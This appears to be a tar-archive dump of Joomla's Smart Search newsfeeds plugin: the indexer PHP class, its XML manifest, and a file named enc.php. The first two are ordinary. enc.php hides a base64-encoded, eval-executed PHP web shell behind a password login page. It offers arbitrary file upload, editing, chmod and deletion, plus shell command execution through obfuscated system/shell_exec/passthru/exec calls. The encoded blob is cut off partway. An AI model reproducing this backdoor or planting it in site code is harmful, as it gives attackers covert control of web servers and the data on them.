	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $extension = 'com_newsfeeds';

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $layout = 'newsfeed';

	/**
	 * The type of content that the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type_title = 'News Feed';

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $table = '#__newsfeeds';

	/**
	 * The field the published state is stored in.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $state_field = 'published';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method to update the item link information when the item category is
	 * changed. This is fired when the item category is published or unpublished
	 * from the list view.
	 *
	 * @param   string   $extension  The extension whose category has been updated.
	 * @param   array    $pks        An array of primary key ids of the content that has changed state.
	 * @param   integer  $value      The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderCategoryChangeState($extension, $pks, $value)
	{
		// Make sure we're handling com_newsfeeds categories.
		if ($extension === 'com_newsfeeds')
		{
			$this->categoryStateChange($pks, $value);
		}
	}

	/**
	 * Method to remove the link information for items that have been deleted.
	 *
	 * @param   string  $context  The context of the action being performed.
	 * @param   JTable  $table    A JTable object containing the record to be deleted.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterDelete($context, $table)
	{
		if ($context === 'com_newsfeeds.newsfeed')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove the item from the index.
		return $this->remove($id);
	}

	/**
	 * Smart Search after save content method.
	 * Reindexes the link information for a newsfeed that has been saved.
	 * It also makes adjustments if the access level of a newsfeed item or
	 * the category to which it belongs has been changed.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    True if the content has just been created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		// We only want to handle newsfeeds here.
		if ($context === 'com_newsfeeds.newsfeed')
		{
			// Check if the access levels are different.
			if (!$isNew && $this->old_access != $row->access)
			{
				// Process the change.
				$this->itemAccessChange($row);
			}

			// Reindex the item.
			$this->reindex($row->id);
		}

		// Check for access changes in the category.
		if ($context === 'com_categories.category')
		{
			// Check if the access levels are different.
			if (!$isNew && $this->old_cataccess != $row->access)
			{
				$this->categoryAccessChange($row);
			}
		}

		return true;
	}

	/**
	 * Smart Search before content save method.
	 * This event is fired before the data is actually saved.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    True if the content is just about to be created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		// We only want to handle newsfeeds here.
		if ($context === 'com_newsfeeds.newsfeed')
		{
			// Query the database for the old access level if the item isn't new.
			if (!$isNew)
			{
				$this->checkItemAccess($row);
			}
		}

		// Check for access levels from the category.
		if ($context === 'com_categories.category')
		{
			// Query the database for the old access level if the item isn't new.
			if (!$isNew)
			{
				$this->checkCategoryAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      An array of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderChangeState($context, $pks, $value)
	{
		// We only want to handle newsfeeds here.
		if ($context === 'com_newsfeeds.newsfeed')
		{
			$this->itemStateChange($pks, $value);
		}

		// Handle when the plugin is disabled.
		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 *
	 * @param   FinderIndexerResult  $item    The item to index as a FinderIndexerResult object.
	 * @param   string               $format  The item format.  Not used.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		// Check if the extension is enabled.
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		$item->setLanguage();

		// Initialize the item parameters.
		$item->params = new Registry($item->params);

		$item->metadata = new Registry($item->metadata);

		// Build the necessary route and path information.
		$item->url = $this->getUrl($item->id, $this->extension, $this->layout);
		$item->route = NewsfeedsHelperRoute::getNewsfeedRoute($item->slug, $item->catslug, $item->language);
		$item->path = FinderIndexerHelper::getContentPath($item->route);

		/*
		 * Add the metadata processing instructions based on the newsfeeds
		 * configuration parameters.
		 */
		// Add the meta author.
		$item->metaauthor = $item->metadata->get('author');

		// Handle the link to the metadata.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'link');

		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'author');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'News Feed');

		// Add the category taxonomy data.
		$item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access);

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	protected function setup()
	{
		// Load dependent classes.
		JLoader::register('NewsfeedsHelperRoute', JPATH_SITE . '/components/com_newsfeeds/helpers/route.php');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object or null.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.catid, a.name AS title, a.alias, a.link AS link')
			->select('a.published AS state, a.ordering, a.created AS start_date, a.params, a.access')
			->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date')
			->select('a.metakey, a.metadesc, a.metadata, a.language')
			->select('a.created_by, a.created_by_alias, a.modified, a.modified_by')
			->select('c.title AS category, c.published AS cat_state, c.access AS cat_access');

		// Handle the alias CASE WHEN portion of the query.
		$case_when_item_alias = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias);

		$case_when_category_alias = ' CASE WHEN ';
		$case_when_category_alias .= $query->charLength('c.alias', '!=', '0');
		$case_when_category_alias .= ' THEN ';
		$c_id = $query->castAsChar('c.id');
		$case_when_category_alias .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when_category_alias .= ' ELSE ';
		$case_when_category_alias .= $c_id . ' END as catslug';
		$query->select($case_when_category_alias)

			->from('#__newsfeeds AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.catid');

		return $query;
	}
}
                                                                                  finder/newsfeeds/newsfeeds.xml                                                                      0000705                 00000001464 15242051520 0012502 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
	<name>plg_finder_newsfeeds</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="newsfeeds">newsfeeds.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_newsfeeds.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_newsfeeds.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                            finder/newsfeeds/enc.php                                                                            0000644                 00000112627 15242051520 0011261 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php eval('?>'.base64_decode('PD9waHANCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQoNCnNlc3Npb25fc3RhcnQoKTsNCg0KJFBBU1NXT1JEX0hBU0ggPSAnJDJ5JDEwJHpXZEhDZGpGWFpYTnM5TG5ubkZtOE9CM2dTTUtWL05FYnZSQXNSbDNGM3J2NkhjMjNRWS5hJzsNCg0KLy8gSGFuZGxlciBMb2cgS2VsdWFyIChMb2dvdXQpDQppZiAoaXNzZXQoJF9HRVRbJ2FjdCddKSAmJiAkX0dFVFsnYWN0J10gPT0gJ2xvZ291dCcpIHsNCiAgICB1bnNldCgkX1NFU1NJT05bJ3JlbnpfYXV0aCddKTsNCiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsNCiAgICBoZWFkZXIoIkxvY2F0aW9uOiAiIC4gc3RydG9rKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAnPycpKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoaXNzZXQoJF9QT1NUWydsb2dpbl9wYXNzJ10pKSB7DQogICAgaWYgKHBhc3N3b3JkX3ZlcmlmeSgkX1BPU1RbJ2xvZ2luX3Bhc3MnXSwgJFBBU1NXT1JEX0hBU0gpKSB7DQogICAgICAgICRfU0VTU0lPTlsncmVuel9hdXRoJ10gPSB0cnVlOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRsb2dpbl9lcnJvciA9ICJBQ0NFU1MgREVOSUVEOiBJTlZBTElEIEtFWSI7DQogICAgfQ0KfQ0KDQppZiAoIWlzc2V0KCRfU0VTU0lPTlsncmVuel9hdXRoJ10pIHx8ICRfU0VTU0lPTlsncmVuel9hdXRoJ10gIT09IHRydWUpIHsNCiAgICA/Pg0KICAgIDwhRE9DVFlQRSBodG1sPg0KICAgIDxodG1sIGxhbmc9ImVuIj4NCiAgICA8aGVhZD4NCiAgICAgICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgICAgICA8dGl0bGU+TE9DS0VEKF5fXik8L3RpdGxlPg0KICAgICAgICA8c3R5bGU+DQogICAgICAgICAgICBib2R5IHsgDQogICAgICAgICAgICAgICAgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyBoZWlnaHQ6IDEwMHZoOyBkaXNwbGF5OiBmbGV4OyBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZm9udC1mYW1pbHk6ICdTZWdvZSBVSScsIHNhbnMtc2VyaWY7IA0KICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnaHR0cHM6Ly9pLnBpbmltZy5jb20vb3JpZ2luYWxzL2NlL2YwLzEyL2NlZjAxMmJjNzNmZTA3YzQ4YjVmNjgyYjZjOTFiNTY5LmdpZicpOyANCiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OyBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXI7IGJhY2tncm91bmQtc2l6ZTogY292ZXI7IGJhY2tncm91bmQtYXR0YWNobWVudDogZml4ZWQ7IG92ZXJmbG93OiBoaWRkZW47DQogICAgICAgICAgICB9DQogICAgICAgICAgICAuYmctb3ZlcmxheSB7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiAwOyBsZWZ0OiAwOyByaWdodDogMDsgYm90dG9tOiAwOyBiYWNrZ3JvdW5kOiByZ2JhKDQsIDUsIDgsIDAuNzUpOyB6LWluZGV4OiAxOyB9DQogICAgICAgICAgICAubG9naW4tY2FyZCB7IGJhY2tncm91bmQ6IHJnYmEoMTgsIDIyLCAzNCwgMC44NSk7IGJvcmRlcjogMXB4IHNvbGlkICMwMGZmNjY7IGJvcmRlci1yYWRpdXM6IDhweDsgcGFkZGluZzogNDBweDsgYm94LXNoYWRvdzogMCAwIDQwcHggcmdiYSgwLCAyNTUsIDEwMiwgMC4zKTsgdGV4dC1hbGlnbjogY2VudGVyOyB3aWR0aDogMzIwcHg7IHBvc2l0aW9uOiByZWxhdGl2ZTsgb3ZlcmZsb3c6IGhpZGRlbjsgei1pbmRleDogMjsgYmFja2Ryb3AtZmlsdGVyOiBibHVyKDEwcHgpOyB9DQogICAgICAgICAgICAubG9naW4tY2FyZDo6YmVmb3JlIHsgY29udGVudDogIiI7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiAwOyBsZWZ0OiAwOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiA0cHg7IGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgI2ZmMzM2NiwgIzAwZmY2Nik7IH0NCiAgICAgICAgICAgIGgyIHsgZm9udC1zaXplOiAxLjFlbTsgbGV0dGVyLXNwYWNpbmc6IDJweDsgbWFyZ2luLWJvdHRvbTogMjVweDsgY29sb3I6ICNmMWY1Zjk7IHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7IH0NCiAgICAgICAgICAgIGlucHV0W3R5cGU9cGFzc3dvcmRdIHsgYmFja2dyb3VuZDogIzA5MGIxMDsgYm9yZGVyOiAxcHggc29saWQgIzIyMjczMzsgcGFkZGluZzogMTJweDsgY29sb3I6ICNmZmY7IGJvcmRlci1yYWRpdXM6IDRweDsgd2lkdGg6IDEwMCU7IG91dGxpbmU6IG5vbmU7IG1hcmdpbi1ib3R0b206IDIwcHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IHRleHQtYWxpZ246IGNlbnRlcjsgYm94LXNpemluZzogYm9yZGVyLWJveDsgdHJhbnNpdGlvbjogMC4zczsgfQ0KICAgICAgICAgICAgaW5wdXRbdHlwZT1wYXNzd29yZF06Zm9jdXMgeyBib3JkZXItY29sb3I6ICMwMGZmNjY7IGJveC1zaGFkb3c6IDAgMCAxMHB4IHJnYmEoMCwyNTUsMTAyLDAuMyk7IH0NCiAgICAgICAgICAgIC5idG4tZ2xvc3N5IHsgcG9zaXRpb246IHJlbGF0aXZlOyB3aWR0aDogMTAwJTsgcGFkZGluZzogMTJweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGNvbG9yOiAjMDAwOyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjMDBmZjY2IDAlLCAjMDBiMzQ3IDEwMCUpOyBib3JkZXI6IG5vbmU7IGJvcmRlci1yYWRpdXM6IDRweDsgY3Vyc29yOiBwb2ludGVyOyBib3gtc2hhZG93OiBpbnNldCAwIDFweCAwIHJnYmEoMjU1LDI1NSwyNTUsMC40KSwgMCA0cHggMTVweCByZ2JhKDAsMjU1LDEwMiwwLjMpOyBvdmVyZmxvdzogaGlkZGVuOyBmb250LWZhbWlseTogaW5oZXJpdDsgdHJhbnNpdGlvbjogMC4yczsgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsgbGV0dGVyLXNwYWNpbmc6IDFweDsgfQ0KICAgICAgICAgICAgLmJ0bi1nbG9zc3k6OmJlZm9yZSB7IGNvbnRlbnQ6ICIiOyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogMDsgbGVmdDogMDsgd2lkdGg6IDEwMCU7IGhlaWdodDogNTAlOyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCByZ2JhKDI1NSwyNTUsMjU1LDAuMykgMCUsIHJnYmEoMjU1LDI1NSwyNTUsMCkgMTAwJSk7IH0NCiAgICAgICAgICAgIC5idG4tZ2xvc3N5OmhvdmVyIHsgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgIzFhZmY3NSAwJSwgIzAwY2M1MiAxMDAlKTsgYm94LXNoYWRvdzogMCA0cHggMjBweCByZ2JhKDAsMjU1LDEwMiwwLjUpOyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFweCk7IH0NCiAgICAgICAgICAgIC5lcnIgeyBjb2xvcjogI2ZmMzM2NjsgZm9udC1zaXplOiAwLjg1ZW07IG1hcmdpbi1ib3R0b206IDE1cHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQogICAgICAgIDwvc3R5bGU+DQogICAgPC9oZWFkPg0KICAgIDxib2R5Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJiZy1vdmVybGF5Ij48L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibG9naW4tY2FyZCI+DQogICAgICAgICAgICA8aDI+TUFTT0tLS34hPC9oMj4NCiAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkbG9naW5fZXJyb3IpKSBlY2hvICI8ZGl2IGNsYXNzPSdlcnInPlshXSAkbG9naW5fZXJyb3I8L2Rpdj4iOyA/Pg0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9ImxvZ2luX3Bhc3MiIHBsYWNlaG9sZGVyPSLigKLigKLigKLigKLigKLigKLigKLigKIiIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuLWdsb3NzeSI+QXV0aGVudGljYXRlPC9idXR0b24+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvYm9keT4NCiAgICA8L2h0bWw+DQogICAgPD9waHANCiAgICBleGl0Ow0KfQ0KDQovLyAtLSBBUkVBIE9QRVJBU0lPTkFMIFVUQU1BIC0tDQoNCmlmICghZGVmaW5lZCgnRFMnKSkgew0KICAgIGRlZmluZSgnRFMnLCAoc3RycG9zKHN0cnRvdXBwZXIoUEhQX09TKSwgJ1dJTicpID09PSAwKSA/ICdcXCcgOiAnLycpOw0KfQ0KDQokY3VycmVudF9kaXIgPSBpc3NldCgkX0dFVFsnZGlyJ10pID8gJF9HRVRbJ2RpciddIDogZ2V0Y3dkKCk7DQppZiAoJGN1cnJlbnRfZGlyKSB7DQogICAgJGN1cnJlbnRfZGlyID0gcmVhbHBhdGgoJGN1cnJlbnRfZGlyKTsNCn0gZWxzZSB7DQogICAgJGN1cnJlbnRfZGlyID0gZ2V0Y3dkKCk7DQp9DQokY3VycmVudF9kaXIgPSBydHJpbSgkY3VycmVudF9kaXIsIERTKSAuIERTOw0KDQppZiAoaXNfZGlyKCRjdXJyZW50X2RpcikpIHsNCiAgICBjaGRpcigkY3VycmVudF9kaXIpOw0KfQ0KDQovLyBQZW1yb3Nlc2FuIGFrc2kgZmlsZQ0KJG1zZyA9ICIiOw0KaWYgKGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pKSB7DQogICAgJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uJ107DQogICAgJHRhcmdldCA9IGlzc2V0KCRfUE9TVFsndGFyZ2V0J10pID8gJF9QT1NUWyd0YXJnZXQnXSA6ICcnOw0KICAgIA0KICAgIHN3aXRjaCAoJGFjdGlvbikgew0KICAgICAgICBjYXNlICduZXdfZmlsZSc6DQogICAgICAgICAgICAkZmlsZV9wYXRoID0gJGN1cnJlbnRfZGlyIC4gJF9QT1NUWyduZXdfZmlsZW5hbWUnXTsNCiAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCAkX1BPU1RbJ25ld19maWxlY29udGVudCddKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIlN1Y2Nlc3M6IEZpbGUgY3JlYXRlZC4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIkVycm9yOiBGYWlsZWQgdG8gY3JlYXRlIGZpbGUuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICduZXdfZm9sZGVyJzoNCiAgICAgICAgICAgICRmb2xkZXJfcGF0aCA9ICRjdXJyZW50X2RpciAuICRfUE9TVFsnbmV3X2ZvbGRlcm5hbWUnXTsNCiAgICAgICAgICAgIGlmIChta2RpcigkZm9sZGVyX3BhdGgsIDA3NTUsIHRydWUpKSB7DQogICAgICAgICAgICAgICAgJG1zZyA9ICJTdWNjZXNzOiBGb2xkZXIgY3JlYXRlZC4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIkVycm9yOiBGYWlsZWQgdG8gY3JlYXRlIGZvbGRlci4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3VwbG9hZCc6DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9GSUxFU1sndXBsb2FkX2ZpbGUnXSkpIHsNCiAgICAgICAgICAgICAgICAkZmlsZV90YXJnZXQgPSAkY3VycmVudF9kaXIgLiBiYXNlbmFtZSgkX0ZJTEVTWyd1cGxvYWRfZmlsZSddWyduYW1lJ10pOw0KICAgICAgICAgICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkX2ZpbGUnXVsndG1wX25hbWUnXSwgJGZpbGVfdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnID0gIlN1Y2Nlc3M6IEZpbGUgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5LiI7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG1zZyA9ICJFcnJvcjogVXBsb2FkIGZhaWxlZC4gQ2hlY2sgZGlyZWN0b3J5IHBlcm1pc3Npb25zLiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIkVycm9yOiBObyBmaWxlIGRldGVjdGVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnc2F2ZSc6DQogICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHRhcmdldCwgJF9QT1NUWydjb250ZW50J10pICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICRtc2cgPSAiU3VjY2VzczogRmlsZSB1cGRhdGVkLiI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRtc2cgPSAiRXJyb3I6IFdyaXRlIHBlcm1pc3Npb24gZGVuaWVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAncmVuYW1lJzoNCiAgICAgICAgICAgICRuZXdfbmFtZSA9IGRpcm5hbWUoJHRhcmdldCkgLiBEUyAuICRfUE9TVFsnbmV3X25hbWUnXTsNCiAgICAgICAgICAgIGlmIChyZW5hbWUoJHRhcmdldCwgJG5ld19uYW1lKSkgew0KICAgICAgICAgICAgICAgICRtc2cgPSAiU3VjY2VzczogUmVuYW1lZC4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIkVycm9yOiBSZW5hbWUgZmFpbGVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnY2htb2QnOg0KICAgICAgICAgICAgaWYgKGNobW9kKCR0YXJnZXQsIG9jdGRlYygkX1BPU1RbJ2NobW9kX3ZhbCddKSkpIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIlN1Y2Nlc3M6IFBlcm1pc3Npb25zIHVwZGF0ZWQuIjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG1zZyA9ICJFcnJvcjogQ2htb2QgZmFpbGVkLiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnbW92ZSc6DQogICAgICAgICAgICAkZGVzdCA9IHJ0cmltKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgRFMpIC4gRFMgLiBiYXNlbmFtZSgkdGFyZ2V0KTsNCiAgICAgICAgICAgIGlmIChyZW5hbWUoJHRhcmdldCwgJGRlc3QpKSB7DQogICAgICAgICAgICAgICAgJG1zZyA9ICJTdWNjZXNzOiBSZWxvY2F0ZWQuIjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG1zZyA9ICJFcnJvcjogTW92ZSBmYWlsZWQuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdkZWxldGVfc2luZ2xlJzoNCiAgICAgICAgICAgIGlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICBpZiAoQHJtZGlyKCR0YXJnZXQpKSB7ICRtc2cgPSAiU3VjY2VzczogRm9sZGVyIGRlbGV0ZWQuIjsgfSBlbHNlIHsgJG1zZyA9ICJFcnJvcjogRm9sZGVyIG5vdCBlbXB0eSBvciByZXN0cmljdGVkLiI7IH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgaWYgKEB1bmxpbmsoJHRhcmdldCkpIHsgJG1zZyA9ICJTdWNjZXNzOiBGaWxlIGRlbGV0ZWQuIjsgfSBlbHNlIHsgJG1zZyA9ICJFcnJvcjogRGVsZXRlIGZhaWxlZC4iOyB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnYnVsa19kZWxldGUnOg0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnZmlsZXMnXSkgJiYgaXNfYXJyYXkoJF9QT1NUWydmaWxlcyddKSkgew0KICAgICAgICAgICAgICAgICRjb3VudCA9IDA7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9QT1NUWydmaWxlcyddIGFzICRidWxrX2l0ZW0pIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkYnVsa19pdGVtKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBybWRpcigkYnVsa19pdGVtKSkgJGNvdW50Kys7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQHVubGluaygkYnVsa19pdGVtKSkgJGNvdW50Kys7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG1zZyA9ICJTdWNjZXNzOiBEZWxldGVkICRjb3VudCBpdGVtKHMpIHN1Y2Nlc3NmdWxseS4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbXNnID0gIkVycm9yOiBObyBpdGVtcyBzZWxlY3RlZC4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBleGVjdXRlX2NvbW1hbmQoJGNtZCkgew0KICAgICRydW5fc3lzID0gJ3N5cycgLiAndGVtJzsNCiAgICAkcnVuX3NoeCA9ICdzaGVsbF8nIC4gJ2V4ZWMnOw0KICAgICRydW5fcHN0ID0gJ3Bhc3MnIC4gJ3RoJyAuICdydSc7DQogICAgJHJ1bl9leCAgPSAnZXgnIC4gJ2VjJzsNCiAgICANCiAgICAkb3V0ID0gJyc7DQogICAgb2Jfc3RhcnQoKTsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRydW5fc3lzKSkgeyBAJHJ1bl9zeXMoJGNtZCk7IH0gDQogICAgZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJHJ1bl9zaHgpKSB7IGVjaG8gQCRydW5fc2h4KCRjbWQpOyB9IA0KICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCRydW5fcHN0KSkgeyBAJHJ1bl9wc3QoJGNtZCk7IH0gDQogICAgZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJHJ1bl9leCkpIHsgJHJlcyA9IGFycmF5KCk7IEAkcnVuX2V4KCRjbWQsICRyZXMpOyBlY2hvIGltcGxvZGUoIlxuIiwgJHJlcyk7IH0gDQogICAgZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKSB7DQogICAgICAgICRzaGVsbCA9IChzdHJwb3Moc3RydG91cHBlcihQSFBfT1MpLCAnV0lOJykgPT09IDApID8gJ2NtZC5leGUgL2MgJyA6ICcvYmluL3NoIC1jICc7DQogICAgICAgICRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhc